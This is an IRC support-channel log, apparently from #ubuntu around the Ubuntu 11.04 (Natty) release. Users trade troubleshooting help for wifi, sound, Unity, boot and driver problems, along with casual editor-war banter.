[01:14] <fizyplankton> tensorpudding: bastidrazor which one of yours do i do?
[01:15] <flodine> you got a command for the terminal for compiz
[01:15] <tensorpudding> fizyplankton: doing service stop will stop it this time, but won't prevent it from running in the future
[01:15] <Angelic> robin0800: The system thats connected to the wifi network that the ubuntu machine has greyed out is right under the router so I am basically saying I don't understand why would it be greyed out.
[01:15] <Alec_> hey, so i have a macbook pro (first generation) or macbook pro 3,1. With the release of ubuntu 11.04 i got interested, and downloaded the 32 bit version. i burned it to a cd using disk utility with no problems, then popped it in and using rEFlt, booted into it. After showing the loading screen for 4=+ minutes, it showed three lines of errors. 1.(initramifs) can not moint /dev/loop0 (lcdrom/casper/filesystem.squashfs 2.udevd [82]: wo
[01:15] <Alec_> [203] unexpectedly returned with status 0x0100 and 3. udevd [82]: worker [203] failed while handling '/devices/virtual/block/loop0'
[01:15] <chaospsyX> whats the command to see what kernel version i have installed ?
[01:15] <bruenig> chaospsyX: uname!
[01:15] <LjL> chaospsyX: uname -a
[01:15] <eiriksvin> flodine just use Applications>Search>Compiz
[01:15] <Kamakazi_> I think my upgrade is frozen at Configurin ltrace, is there anyway to stop the process?
[01:16] <bruenig> ctrl+c
[01:16] <ngc604> Angelic, do you have any numbers off that card?
[01:16] <bruenig> !
[01:16] <tensorpudding> fizyplankton: actually, i might be better to change the "stop on runlevel [016]" line to "stop on runlevel [0126]"
[01:16] <Eyes_Only> Angelic: what does dmesg | grep wi say
[01:16] <jwtiyar> any helpp?
[01:16] <Angelic> ngc604: http://hardware4linux.info/component/19645/ <--- is the only info I gather when looking it up.
[01:16] <flodine> its already installed
[01:17] <Angelic> ngc604: Otherwise there is no numbers on the back that I see on the hardware.
[01:17] <robin0800> Angelic, how is ubuntu connected?
[01:18] <Angelic> robin0800: It's usually connected through wifi, but as of the moment I am on another machine(Windows machine).
[01:18] <eiriksvin> Does anyone know how to get Regnum online to run in windowed mode?
[01:19] <Angelic> robin0800: It sees the wifi network in the area but its greyed out, and the network thats greyed out is currently connected to my windows machine so it can't be out of range.
[01:19] <KM0201> Angelic: open a terminal and type "lspci" no quotes, and hit enter.. .loook through the output and find the wireless device, and tell us what it sayas
[01:19] <KM0201> oh wait.
[01:19] <KM0201> so it sees networks
[01:19] <freezway> hey, i upgraded my heatsink and now sound doesnt work. I usually run arch but it doesnt work off the ubuntu 10.10 livecd either. lspci sees it, but on arch, alsaconf does not. output of "sudo alsa reload" here http://pastebin.com/dpDD226g
[01:19] <Mitchell|2> Can someone help me with something? I'm using a KVM switch, and when I switch between computers, one that I just put 11.04 on doesn't respond.
[01:20] <Eyes_Only> Angelic: what does dmesg | grep wl say?
[01:20] <eiriksvin> KM0201!! Hey buuuuuddy!
[01:20] <KM0201> eiriksvin: :)
[01:21] <ngc604> Eyes_Only, what makes airo so great?
[01:21] <Eyes_Only> can anyone help me with modifying my keyboard map?
[01:21] <fogobogo> sure
[01:21] <fogobogo> Eyes_Only: tried a waterproof marker?
[01:21] <fizyplankton> tensorpudding: what will the stop on run lever do?
[01:21] <OY1R> Q: anyone have an image of Windows XP i can download ?
[01:22] <Eyes_Only> fogobogo: unfortunately yes :(
[01:22] <amit> Hi. Would appreciate advice on method for reading ubuntu's mailing list (currently subscribed, but rather read them off a feed, so as to not burden my mail client)
[01:22] <fogobogo> hmm
[01:22] <MustardCU> So I recently installed lxde (and it appears on ubuntu.com there is no lxde IRC channel) on my computer but I can't connect to the internet (and I can't even connect to lxde.org even on Gnome) I installed Wicd but the internet still wasn't working.  It did work fine on Gnome though.  Any ideas why?
[01:22] <tensorpudding> fizyplankton: just prevent it from running on that runlevel
[01:22] <eiriksvin> KM0201 i have been telling Angelic to search google and try to run the usb adapter native if its possible, thats what i have to do to get rid of that, but i got a different adapter
[01:22] <tensorpudding> fizyplankton: it's a bit of an annoying mix of system v and upstart
[01:22] <fizyplankton> tensorpudding: what is a runlevel?
[01:22] <OY1R> that or a WinPX preinstalled.vdi
[01:22] <georgie> how to Join IRC at 50.2.0.1 or 50.3.0.1 (SSL Only) Port 6697
[01:22] <OY1R> XP*
[01:22] <KM0201> eiriksvin: hmm.
[01:23] <georgie> they didnot mention the server name
[01:23] <bull9408> anybody have a clue why I can't get my internal microphone to hear anything
[01:23] <georgie> i've empathy,xchat and irssi has irc chat clients
[01:23] <tensorpudding> fizyplankton: you don't really need to know about runlevels, but they are different configurations for the init program, which chooses what to start at boot
[01:23] <Eyes_Only> ngc604: airo is a professional networking solution, it isnt a standard belkin wireless thing you can pick up at wal-mart for $30
[01:23] <Angelic> Eyes_Only: it returns nothing back.
[01:24] <robin0800> bull9408, alsamixer in a terminal
[01:24] <Eyes_Only> Angelic: what about dmesg | grep wi
[01:24] <tensorpudding> fizyplankton: ubuntu uses upstart, which replaces (to an extent) the old way of doing things involving runlevels, but it still have runlevels, it's just that people don't really mess with them anymore
[01:24] <ngc604> bull9408, system > preferences > sound > input and make sure the right intup is selected and it is not on mute
[01:24] <bull9408> ngc604, the correct input is selected, and not on mute
[01:24] <robin0800> Angelic, is it usb?
[01:24] <tensorpudding> fizyplankton: one corresponds to a single-user mode, one to shutdown, and runlevel 2 is the one for normal activity in ubuntu
[01:24] <bull9408> but all i'm getting is static
[01:25] <OY1R> anyone ?
[01:25] <Angelic> robin0800: No.
[01:25] <Eyes_Only> fogobogo: my issue isnt as simple as you might think, ive got a CR 48 and would like to have some of the keys do different things
[01:25] <tensorpudding> fizyplankton: there's others that can be defined but nobody uses them
[01:25] <ngc604> bull9408, try robins idea of alsamixer.  didn't know that was there.  mic option is on the end
[01:25] <robin0800> Angelic, then lspci should find it
[01:26] <fogobogo> Eyes_Only: why not just change the keys then
[01:26] <tensorpudding> fizyplankton: adding the 2 in that line just means that the gdm isn't run on runlevel 2, which is the default runlevel for multi-user, graphical mode
[01:26] <bull9408> ngc604, I'm playing with it now, didn't know it was there either
[01:26] <freezway> hey, i upgraded my heatsink and now sound doesnt work. I usually run arch but it doesnt work off the ubuntu 10.10 livecd either. lspci sees it, but on arch, alsaconf does not. output of "sudo alsa reload" here http://pastebin.com/dpDD226g
[01:26] <georgie> can somebody pls tell me how to " Join IRC at 50.2.0.1 or 50.3.0.1 (SSL Only) Port 6697".. its saying connection refused
[01:26] <fogobogo> Eyes_Only: the screwdriver method might not work but there could be something in the system menu
[01:27] <Angelic> robin0800: It sees it, as the aironet wireless communications cisco aironet wireless 802.11
[01:27] <Angelic> when I do the lspci
[01:27] <amr_> How can I add the control bar windows after deleting Combez
[01:27] <Eyes_Only> fogobogo: do you know what a CR48 is?
[01:27] <amr_> Compiz
[01:27] <fogobogo> Eyes_Only: some crippletop
[01:27] <XerYuS> OY1R: How to auto mount partition in natty on bootup. Tried pysdm with no success. I have screenlets w/ shortcuts of folders on desktop that show up unlinked until mounted.
[01:27] <bull9408> ngc604, still nothing
[01:27] <bull9408> just less static
[01:28] <robin0800> Angelic, but thats not enough info you need a product number
[01:28] <Eyes_Only> fogobogo: more like a browser in a box in its standard configuration
[01:28] <ngc604> bull9408, any vocal sound at all
[01:28] <MustardCU> So I recently installed lxde on my computer but I can't connect to the Internet (and I can't even connect to lxde.org even on Gnome) I installed Wicd but the Internet still wasn't working.  It did work fine on Gnome though.  Anyone know how to fix my problem?
[01:28] <Wvm> i updated to Mark_Shuttlecock 's ubuntu 11 cd and i get a black screen
[01:28] <bull9408> ngc604, no vocal sound what so ever
[01:28] <Wvm> what do i do?
[01:28] <fogobogo> Eyes_Only: yeah. but what makes you think that has anything to do with ubuntu?
[01:29] <fogobogo> Eyes_Only: im under the impression you at least hacked the box to install ubuntu. correct me if im wrong
[01:29] <ngc604> bull9408, did it ever work?  have you changed anything?  is the connection clean and finger oil free?
[01:29] <Cerda> XerYus: do you want to mount ntfs partition automaticaly on boot?
[01:29]  * eiriksvin says thats an awesome nick>> Douche has quit (Quit: Douche)
[01:29] <fogobogo> Eyes_Only: if it still runs the google spyware i have no clue. maybe the browser settings?
[01:30] <Eyes_Only> fogobogo: i flashed a new bios and installed crunchbang, the crunchbang channel is dead (whats new), and the solution should be similar in both ubuntu and #!
[01:30] <XerYuS> thnks... no, its a ext4 partition
[01:30] <Angelic> product: 82801DB PRO/100 VE (MOB) Ethernet Controller
[01:30] <OY1R> nm got it..
[01:30] <bull9408> ngc604, it's an internal mic, and It worked under vista, I have just recently installed Ubuntu on this system, there was a hard drive failure, and this was easier th ian ins
[01:30] <fogobogo> Eyes_Only: nope. not at all. lucky you i run openbox. get obkeys
[01:30] <bull9408> ngc604, than installing Vista and finding all of the drivers
[01:31] <Eyes_Only> fogobogo: looking it up now, how flexible is obkeys?
[01:31] <Angelic> Eyes_Only:Product: 82801CAM (ICH3)
[01:31] <ngc604> bull9408, make sure the hardware tab has the right info under sound preferences
[01:31] <Eyes_Only> Angelic: intel chipset
[01:31] <Wvm> Mark_Shuttlecock:  ur new gnome thing is broken :(
[01:31] <eje211> I upgraded to Natty, now the computer freezes at startup unless I use a session of type "Ubuntu safe mode". Which log should I look into to diagnose the issue? The freeze occurs both on Unity and on KDE, my default desktop.
[01:32] <bull9408> ngc604, already checked it, it's correct
[01:32] <bull9408> ngc604, my only other option is the HDMI output for hardware
[01:32] <Mark_Shuttlecock> Wvm: Unity 4 lyfe
[01:32] <Angelic> Eyes_Only: Intel Corporation: 82845 845 Brookdale
[01:32] <ngc604> bull9408, let me read up.  is it a laptop?
[01:33] <bull9408> ngc604, yes, Fujitsu Lifebook A series
[01:33] <robin0800> Angelic, 82801DB PRO/100 VE is erthnet not wirless?
[01:33] <Wvm> Mark_Shuttlecock:  unity?  is that the new gnome?
[01:33] <fogobogo> Eyes_Only: well. its a gui for editing keybindings of the openbox wm. so its not flexible at all. but you have a gui
[01:33] <fogobogo> Eyes_Only: you sissy
[01:34] <Angelic> robin0800: Try the 82801CAM (ICH3)
[01:34] <Eyes_Only> fogobogo: whats with the hostility? you hurting my feelings :( i might cry
[01:35] <Eyes_Only> fogobogo: ;D
[01:35] <fogobogo> Eyes_Only: the real men's way would be to open ~/.config/openbox/rc.xml and edit your keybindings there manually
[01:35] <Angelic> serial: 00:d0:59:c8:99:0e
[01:35] <fogobogo> Eyes_Only: unfortunately using a text editor is a dying art :/
[01:36] <madprops> real men use butterflies
[01:36] <fogobogo> or that
[01:36] <Wvm> eww butterflies.  microsoft uses those
[01:36] <Eyes_Only> fogobogo: will i have to learn vi just to show you up? :P
[01:36] <eje211> I upgraded to Natty, now the computer freezes at startup unless I use a session of type "Ubuntu safe mode". Which log should I look into to diagnose the issue? The freeze occurs both on Unity and on KDE, my default desktop.
[01:36] <Angelic> brb
[01:36] <Wvm> the wings fall off all the time and they crash
[01:37] <fogobogo> Eyes_Only: definitely worth to learn vim but as a bloody beginner you might be better off using geany or gedit
[01:37] <robin0800> Angelic, 82801CAM (ICH3) thats an i/o hub
[01:37] <fogobogo> Eyes_Only: because it has buttons and shit
[01:37]  * madprops loves geany
[01:37] <tensorpudding> i can't say it's worthwhile learning vi just to edit config files as an ubuntu user
[01:38] <chaospsyX> lol
[01:38] <Eyes_Only> fogobogo: bout time someone with some stones showed up on this chat. congratulations, youve made my day
[01:38] <fogobogo> Eyes_Only: youre welcome
[01:38]  * psusi can't say it is worthwhile learning vi at all... emacs is vastly superior ;)
[01:38] <ZekeS> NO
[01:38] <Eyes_Only> psusi: haha amen
[01:38] <tensorpudding> pre-emptively avoid flamewars
[01:39] <ZekeS> (besides, everyone knows that ed is the best, vi and emacs are bloat)
[01:39]  * psusi uses emacs as his OS ;)
[01:39] <Eyes_Only> psusi: hax
[01:39] <Wvm> emacs i herd of that before.  i had a friend that always talks about it.  he has rsi now
[01:39] <aeon-ltd> who the hell uses just vi anymore?
[01:39] <madprops> or emacs
[01:40] <sudokode> lol emacs
[01:40] <tensorpudding> ugh, too late
[01:40] <aeon-ltd> if you were gonna use vi at least use vim
[01:40] <ZekeS> aeon-ltd: I believe that's implied
[01:40] <psusi> Wvm, actually it kind of prevents rsi since you don't have ot muck about with that silly mouse all the time and generally avoid a great many keystrokes that would be neccesary in other editors
[01:41] <Wvm> i warned him about that alt key  i warned him dawg
[01:41] <puff> madprops: I use emacs.
[01:41] <puff> I'm typing this in emacs now :-).
[01:41] <Mark_Shuttlecock> Eyes_Only: I'd like to personally thank you for using Aboontoo
[01:41] <Eyes_Only> Mark_Shuttlecock: who says im using aboontoo?
[01:41] <Mark_Shuttlecock> you are in this channel
[01:41] <puff> And always remember, "vi vi vi" == 666, ergo vi is clearly The Editor of The Beast.
[01:41] <Eyes_Only> Mark_Shuttlecock: doesnt mean i use it
[01:42] <Wvm> satan knows what is up
[01:42] <sudokode> yes, rms is a great source of knowledge
[01:42] <sudokode> and toejam
[01:43] <ngc604> bull9408, you still here
[01:43] <Paolo_CT> Hello everyone
[01:43] <Paolo_CT> I been using Ubuntu since 8.04 and I was so happy to upgrade to 11.04, but after that is been just problems, I ....(lol, just had a weird behavior with empathy). Every time I use LibreOffice, my netbook with totally freeze (Not even able to change to a tti), and like five other bugs. Well after saying it, I dont know if I should go back to 10.10 or just wait (and stop using libreoffice :p)
[01:43] <bull9408> ngc604, yes
[01:43] <Mark_Shuttlecock> Eyes_Only: my apologies sir
[01:43] <ngc604> bull9408, have you seen this? http://ubuntuforums.org/showthread.php?t=1408506 looks promising
[01:44] <Eyes_Only> Mark_Shuttlecock: im just not terribly familiar with openbox is all, i been using crunchbang as of late. ive got an arch box with gnome which i hardly ever use
[01:44] <tepster> Paolo_CT: did you reinstall libreoffice?
[01:44] <bull9408> ngc604, I'm going to try that backports solution now, I'll let you know
[01:44] <fogobogo> Eyes_Only: oh hai fellow archer
[01:44] <tensorpudding> Paolo_CT: try starting libreoffice from the terminal, and see if doing Control+c will kill the process
[01:44] <Eyes_Only> fogobogo: :D greetings fine sir
[01:45] <fogobogo> :D
[01:45] <ngc604> bull9408, there is also the option in post #5 that you can try
[01:45] <sudokode> lol arch
[01:45] <sudokode> ubuntu is way simpler
[01:45] <tensorpudding> arch talk goes elsewhere, this is an ubuntu support channel
[01:45]  * psusi was having fun today running emacs in daemon mode on his server today and being able to disconnect and reconnect later to his open files, shells, and irc sessions running under emacs ;)
[01:45] <vorlov> have anybody tried analyzing apache2 coredumps before? i need some help figuring out what im seeing
[01:46] <bull9408> ngc604, it said it couldn't find the package when I tried backports solution
[01:46] <tensorpudding> vorlov: you might consider the apache channel
[01:46] <ZekeS> psusi: then why run linux at all :V
[01:46] <Paolo_CT> tepster: No, I just upgrade saturday, and been way to busy (The main reason I was unhappy with libreoffice was that It frozze will writting my tesis <,/ lost like an hour), I will try reinstalling
[01:46] <sudokode> psusi: wow, sounds like something you could do with tmux or screen
[01:46] <ZekeS> Given that, unless I misunderstood your statement, I can do the same damn thing with ssh and screen :p
[01:46]  * Wvm is a racoon and uses coonbuntu
[01:46] <sudokode> you could just skip that extra step of using emacs
[01:46] <flodine> can someone help me with my 11.04 keeps locking up
[01:46] <Eyes_Only> fogobogo: we could so totally start a flame war, but lets not
[01:46] <bull9408> ngc604, actually do I need to replace the 'uname -r' with something?
[01:47] <Wvm> now to fix black screen
[01:47] <Paolo_CT> This is weird, second time that happened (In empathy) will I write, and the line end, I cannot keep writting, and had to resize window to continue
[01:47] <fogobogo> Eyes_Only: way too easy :D
[01:47] <psusi> sudokode, screen lets you run multiple shells and disconnect... but not also edit files, get on irc, read info pages, and be able to copy/paste between them
[01:47] <Paolo_CT> I dont know if there is a lot of people having bugs, or might that be with my computer
[01:47] <trevorpace> Hey, I'm unable to adjust my brightness in 11.04. Is there a brightness application? Using a toshiba A103 laptop, never been able to adjust using the function keys.
[01:47] <Barridus_> hey guys, is there any way to remove/hide a program from the natty side-launcher?  i don't exactly need background stuff like mail-notifier showing up there
[01:47]  * ZekeS opens vim in one screen, weechat in a second, etc et etc
[01:48] <Paolo_CT> I have a Samsung Netbok
[01:48] <krafty> flodine pls expand on  "locking up" how, what is ur machine/u doing?
[01:48] <sudokode> psusi: it does if you use vim/nano, weechat/irssi, whatever you read info pages with, etc
[01:48] <histo> omfg
[01:48] <spotter> anyone aving consistent X lockups (but restartable) with Intel on natty?
[01:48] <psusi> sudokode, they don't share a common kill ring to copy/paste between, and you can't see what channels people have spoken to you in while you are looking at your info page or vim
[01:49] <bull9408> ngc604, I installed aumix, but now I can't get it to run, it says. "error opening mixer: No such file or directory"
[01:49] <tensorpudding> trevorpace: it's under Screensaver iirc
[01:49] <tensorpudding> trevorpace: err, wait, power management
[01:49] <sudokode> sounds like bloat
[01:49] <ngc604> bull9408, are you on 11.04
[01:49] <eje211> I upgraded to Natty, now the computer freezes at startup unless I use a session of type "Ubuntu safe mode". Which log should I look into to diagnose the issue? The freeze occurs both on Unity and on KDE, my default desktop.
[01:49] <bull9408> ngc604, yes
[01:49] <krafty> lol
[01:49] <psusi> sudokode, if I'm editing a file in the top half of the screen while browsing the info page in the bottom half, I still see the channel name pop up in the info bar if someone speaks to me on irc
[01:49] <trevorpace> tensorpudding: Thanks, not exactly ideal but it works.
[01:50] <tepster> Paolo_CT: unity is rather buggy i'm finding
[01:50] <Paolo_CT> Other thing, I cant change between windows with ALT+TAB anymore, is there a way to change that to work again=
[01:50] <tensorpudding> eje211: does ubuntu classic work?
[01:50] <w30> Could someone with Natty check their login screen in control center and see if it offers unity as a choice rather than ubuntu?
[01:50] <sudokode> sounds like an easily remedied problem with a weechat script
[01:50] <tepster> Paolo_CT:  check under shortcuts in the control center
[01:50] <sudokode> I may look into that actually
[01:51] <sudokode> give me something to do
[01:51] <tensorpudding> w30: not in there
[01:51] <ZekeS> sudokode: weechat! <3
[01:51] <tensorpudding> w30: is this instead of, or in addition to, unity?
[01:51] <sudokode> :D
[01:51] <psusi> sudokode, then there's the common kill ring, which is quite handy for copying and pasting back and forth.. also iirc, screen doesn't give you scrollback buffers
[01:51] <tensorpudding> w30: err, ubuntu
[01:51] <kevn> Is there a quick way to make the XFCE4.8 menu similar to the fluxbox menu, in terms of the multiple sublevels
[01:51] <Paolo_CT> tepster: Oh, that is kinda good (Because is not just me), in the unity search thingy if I try to use tild ( example.  ó) I will get ´o
[01:51] <sudokode> o_O
[01:51] <eje211> tensorpudding: I'm not sure. I think I tried it and it didn't. I know KDE fails, even after I disabled compiz, so compiz is not the issue. I have direct rendering.
[01:52] <Paolo_CT> tepster: And I cant get a tild with any other combination
[01:52] <flodine> my desktop is locked up right now and its letting me typ only in xchat
[01:52] <flodine> i cant move nothing
[01:52] <tensorpudding> eje211: don't suppose you installed gnome 3 from a ppa or anything?
[01:52] <Paolo_CT> tepster: Im really thinking of going back to 10.10, but I kinda like unity as a concept
[01:52] <Paolo_CT> :(
[01:52] <flodine> i tried both drivers
[01:52] <w30> tensorpudding, I can't get unity as default, I have to restart window manager after I log in
[01:52] <ngc604> bull9408, is the volume on the mic up at 100%
[01:52] <tensorpudding> flodine: i used to get that bug once in a while
[01:52] <eje211> This is the first time I've used Gnome at all. So far I've been faithful to KDE. So no.
[01:52] <tepster> Paolo_CT: I found that upgrading causes more bugs. When i do a new install, it was much more better
[01:52] <tensorpudding> flodine: does the windows key still bring up the launcher?
[01:53] <bull9408> ngc604, yes
[01:53] <w30> tensorpudding, I have two ubuntu choices, actually 3
[01:53] <tensorpudding> eje211: it could be a bad mixing with kde and unity, but i doubt it
[01:53] <tepster> Paolo_CT: If you plan on going back, you might as well try a fresh install of 11.04 first
[01:53] <eje211> tensorpudding: I'm just wondering where to look for the cause. There must be a log file with the answer, but I'm not sure where to look.
[01:54] <ngc604> bull9408, maybe http://ubuntuforums.org/showthread.php?t=1651779 post #6.  just make sure to back up files before you edit them
[01:54] <tensorpudding> eje211: maybe /var/log/dmesg
[01:54] <tensorpudding> eje211: if it's a problem with drivers
[01:54] <eje211> tensorpudding: I looked, but found no error.
[01:54] <eje211> tensorpudding: Nothing obvious, at least.
[01:55] <Paolo_CT> tepster: Wow, this is annoying, empathy is not working right with my netbook resolution.
[01:55] <Paolo_CT> You have a good point, will try with a fresh install
[01:55] <tensorpudding> eje211: i don't know then, it's not likely to have been logged in another log
[01:56] <magn3ts> Does anyone have GNOME 3 working in Natty? Every time I try to install it, it blows up and wrecks all my DEs.
[01:56] <ngc604> bull9408, what does    lspci | grep Audio     get you?
[01:57] <tensorpudding> magn3ts: given that it requires different versions of important libraries to be installed, you probably can't do it
[01:57] <bull9408> ngc604, |spci| ?
[01:57] <eje211> tensorpudding: could this be it, it looks innocent enough: svc: failed to register lockdv1 RPC service (errno 97)
[01:58] <tensorpudding> eje211: i think that's related to nfs?
[01:58] <mtelesha> upgraded my son's lenovo S12 from 10.10 to 11.04 no gmd just boots to background image and I can clt-alt-t a terminal. Can I redo the upgrade?
[01:58] <dios_mio> unity is messed up when I turn on wobbly windows in ccsm
[01:58] <Toph> hey dios_mio
[01:58] <dios_mio> hey toph!
[01:58] <tensorpudding> eje211: don't know why that would cause your problem
[01:59] <ngc604> bull9408, type lspci | grep Audio in terminal and paste the results
[01:59] <bull9408> dios_mio, it did the same thing for me. I think i ran          reset --unity         in the terminal
[01:59] <dios_mio> thanks bull
[02:00] <bull9408> ngc604, I thought that was a |spci| not lspci.
[02:00] <ngc604> bull9408, also,  under alsamixer hit f4 and make sure the input is on internal mic.  Does the mic 3.5mm headset plug option work?
[02:00] <tensorpudding> mtelesha: what's gmd?
[02:00] <eje211> tensorpudding: I'll continue investigating. Thanks.
[02:01] <bull9408> ngc604, lspci | grep audio gave no results
[02:01] <bull9408> and I don't have a mic to plug in to the 3.5 input
[02:01] <ngc604> bull9408, do you have sound comming from the speakers?
[02:01] <bull9408> ngc604, yes
[02:01] <Eyes_Only> bull9408: lspci = ls pci = lst pci
[02:02] <Eyes_Only> bull9408: list pci*
[02:02] <tensorpudding> mtelesha: is this on ubuntu or ubuntu classic session?
[02:02] <bull9408> Eyes_Only, i gotcha, I just read it as (pipe) spci (pipe) instead of an L at the beginning
[02:03] <Eyes_Only> bull9408: i always liked bash, it makes more sense to me :D
[02:03] <bull9408> yea, bash is what I always used.
[02:03] <bull9408> i've been on mac for a while though
[02:03] <mtelesha> gmd = gnome login manager where you type in your name and password
[02:03] <bull9408> my memory is a tad foggy
[02:03] <josvuk> Hi, how to find out which boot manager was used during booting?
[02:03] <tensorpudding> mtelesha: oh, gdm
[02:03] <tensorpudding> mtelesha: it doesn't show up?
[02:03] <Eyes_Only> mtelesha: gdm***
[02:03] <dios_mio> unity is retarded... no offense
[02:04] <tepster> i take offense :p
[02:04] <ngc604> bull9408, also, under alsamixer press f4 and make sure the input is internal mic
[02:04] <KM0201> dios_mio: not really.. just takes som getting used to.
[02:04] <dios_mio> :P
[02:04] <tensorpudding> dios_mio: watch the language, also take it elsewhere
[02:04] <Eyes_Only> tensorpudding: what language? :/
[02:05] <bull9408> ngc604, it is
[02:05] <acfrazier_> Alright. I installed Ubuntu 11.04 on my desktop PC, and all I get is a blinking cursor upon reboot. Same deal with both the LiveCD and alternate install CD
[02:05] <acfrazier_> How can I fix this?
[02:06] <ngc604> bull9408, try switching it to front mic then back to internal
[02:06] <bull9408> I did
[02:08] <andygraybeal_> i just booted 11.04 offa usb disk for a test run.  it didn't load the new interface automatically, is this expected?  in otherwords, do i have to install it onto my harddrive to see the new interface. ... or did my computer not work with the new interface and it reverted back to normal gnome?
[02:09] <andygraybeal_> i was looking forward to seeing the new interface after the big stink everyone has made about it.
[02:09] <tensorpudding> it's possible that it won't load in the default installer session
[02:09] <mdmkolbe> I understand that the blue triangle in the upper right corner means an application wants my attention, but how do I know which application?  (E.g. If I've come back to my computer an hour after the app asked for the attention)
[02:09] <Cerda> andrygraybeal_: unity loads on my hp netbook (intel card) but not on my desktop too (nvidia card)
[02:10] <andygraybeal_> Cerda, i got nvidia on my lenovo t410
[02:10] <tepster> andygraybeal: it has something to do with your video card
[02:10] <acfrazier_> how can I fix a blinking cursor upon reboot after a fresh install?
[02:10] <andygraybeal_> ah so on the outs with nvidia then?  i made a poor decision?
[02:10] <fogobogo> *pew* *pew*
[02:10] <tensorpudding> nvidia should work with unity fine if you have a modern card
[02:11] <Cerda> andygraybeal_ probably not, nvidia should be better but maybe it has something to do with the live system
[02:11] <andygraybeal_> tensorpudding, it's a pretty modern computer. we bought it last year, lenovo t410
[02:11] <andygraybeal_> Cerda, aah okay the live system
[02:11] <Guest71831> can I use monodevelop with .NET 4 on Natty ?
[02:11] <Bobbyyyyy> cape can i use monodevelop with
[02:11] <andygraybeal_> thanks for helping me clear that up
[02:11] <fogobogo> Guest71831: try?
[02:11] <tepster> andygraybeal: i mean, it will revert to classic if it has problems with using your 3d card
[02:11] <tepster> I had no problem with unity using the cd
[02:11] <xsinick> there is problems with unity and NVIDIA driver
[02:12] <zenocon> hi, i just installed natty, and the menu bar at the top (that has network, battery info, etc.) has disappeared -- how to get it back?
[02:12] <andygraybeal_> tepster, okay cool.. i am sad i didn't get to see it! :(
[02:12] <tepster> and i have nvidia
[02:12] <Guest71831> fogobogo, i tryed, I got an error saying that .net 4 inst installed, the roadmap says that its implemented, but ubuntu version doesn't have it
[02:12] <andygraybeal_> tepster, how new is your machine??
[02:12] <tensorpudding> Guest71831: you'll have to check the version of mono that is included, and see if it supports .NET 4
[02:12] <tepster> andygraybeal_: i'd say pretty new..like within 2 years
[02:12] <xsinick> how do you add an icon a shortcut icon on the desktop of Natty Narwhal?
[02:13] <andygraybeal_> tepster, yea, mines like a year old..... awww shucks
[02:13] <andygraybeal_> brand new from lenovo.. not refurb or anything
[02:13] <BlaDe^> is anyone around?
[02:13] <acfrazier_> Does my problem have something to do with ssd partition alignment?
[02:13] <fcuk112> is this still correct for natty?  http://www.taranfx.com/sync-iphone-linux
[02:13] <zenocon> just installed natty on samsung series 9 -- working pretty well so far
[02:13] <josvuk> I have no file named /etc/defaults/grub but the docs says grub is the default boot manager for lucid. What is wrong?
[02:13] <psusi> is anyone able to run the ubuntu livecds under qemu running on 11.04?  it seems totally fscked for me
[02:14] <Cerda> andygraybeal_ u probably get a nice 3d desktop with unity once you install
[02:14] <jrmcm> Is it possible to run gnome and kde side by side choosing which one to use at log in?
[02:14] <tepster> andygraybeal_: what kind of setup do you have? what card?
[02:14] <andygraybeal_> Cerda, awesome then.. i want to try it!  thank you for the advice.  tepster ... lemme bring up my nvidia softwaqre
[02:14] <xsinick> how do you add an icon a shortcut icon on the desktop of Natty Narwhal?
[02:15] <acfrazier_> Alright. I installed Ubuntu 11.04 on my desktop PC, and all I get is a blinking cursor upon reboot. Same deal with both the LiveCD and alternate install CD. How to fix?
[02:15] <zenocon> ok, figured out answer to my own question -> alt+f2 gnome-panel
[02:15] <xsinick> how do you add a shortcut icon on the desktop of Natty Narwhal?
[02:15] <LittleRed> anyone install Natty to a laptop yet?
[02:15] <katana> good question
[02:15] <andygraybeal_> tepster, NVS 3100M, 16 CUDA cores, 256MB of RAM, 64bit memory interface
[02:15] <tepster> yes
[02:16] <zenocon> @LittleRed, i just installed it on samsung series 9
[02:16] <thegoodcushion> Good morning, gang
[02:16] <xsinick> how do you add a shortcut icon on the desktop of Natty Narwhal?
[02:16] <LittleRed> zenocon > did you have any video driver issues?
[02:16] <Paolo_CT> LittleRed: I install in a Samsung Netbook, but my experience wasnt good
[02:16] <katana> what gang ?
[02:16] <zenocon> no, worked great out of box
[02:16] <tepster> andygraybeal_: hmm...ya try an install, maybe an update has fixes the problem
[02:16] <tensorpudding> xsinick: a bunch of desktop files are put in /usr/share/applications, just copy them to your desktop
[02:16] <brad_> I just installed 11.04 and now my laptop won't connect to either of my wireless access points in the house. It doesn't list either of them.
[02:17] <zenocon> i had no install issues at all -- installed from USB stick since the laptop has no optical drive
[02:17] <Paolo_CT> Reinstall time, later all
[02:17] <tepster> good luck
[02:17] <Cerda> brad_ for my wireless work i needed to install the aditional drivers
[02:17] <zenocon> only issues i'm having are wrestling with compiz weirdness -- just not used to some of these changes
[02:17] <brad_> Cerda, I think the drivers for mine are already installed (ath5k for an atheros chip), but maybe I'm wrong?
[02:18] <josefig> I have a doubt,  when I turn on the machines all the scripts from /etc/init.d/ are executed ?
[02:18] <LittleRed> zenocon: when I upgraded to 10.11 I had problems with my nvidia card... so I'm a little afraid...
[02:18] <brad_> nm-tool shows wlan0 and everything, it just won't show any access points. iwlist scan brings up nothing
[02:19] <zenocon> i have had problems with the upgrades myself
[02:19] <LittleRed> anyone... is it possible to roll it back to previous version if the install hates me?
[02:19] <zenocon> i've always had better luck backing up my data, and doing a clean install to upgrade
[02:19] <LAcan> Can someone help me with VNC real quick? I'm trying to connect from TightVNC on windows to my ubuntu machine but keep getting the error "Server did not offer supported security type!"
[02:20] <tepster> zenocon: I usually do that with major upgrades too
[02:21] <zenocon> just got this laptop today, and put natty on it.  it is a sweet piece of HW: http://www.engadget.com/2011/03/28/samsung-series-9-900x-laptop-review/
[02:21] <LittleRed> Natty hasn't been out there with the masses that long has it? I know a lot of people have upgraded to it, but I'm guess I'm waiting to see a known issues doc before I try it
[02:21] <JDuke128> hi , i'm having some problem , i want to develop some application that will run Linux first and then Linux runs some my custom code and boot windows back , is it possible ? if yes , how ?
[02:22] <josefig> If I want some service not start from the beginning what should I you ?
[02:22] <tepster> ya thats pretty slick laptop
[02:22] <xsinick> josefig:  you  have tyo be root to make a desktop shortcut
[02:22] <tepster> so thin
[02:23] <zenocon> SSD, boots to desktop in like 15-20s
[02:23] <tepster> SSD is uber
[02:23] <josefig> xsinick, I am a root, but I mean, I dont want mongodb starts at the beginning because I only use it to develop and sometimes I use it in only 2 projects.
[02:23] <Omega> LittleRed: backup and do a fresh install
[02:23] <tepster> wish I had ssd in all my machines
[02:24] <zenocon> me too...prices will come down soon
[02:24] <xsinick> how do you add a shortcut icon on the desktop of Natty Narwhal?
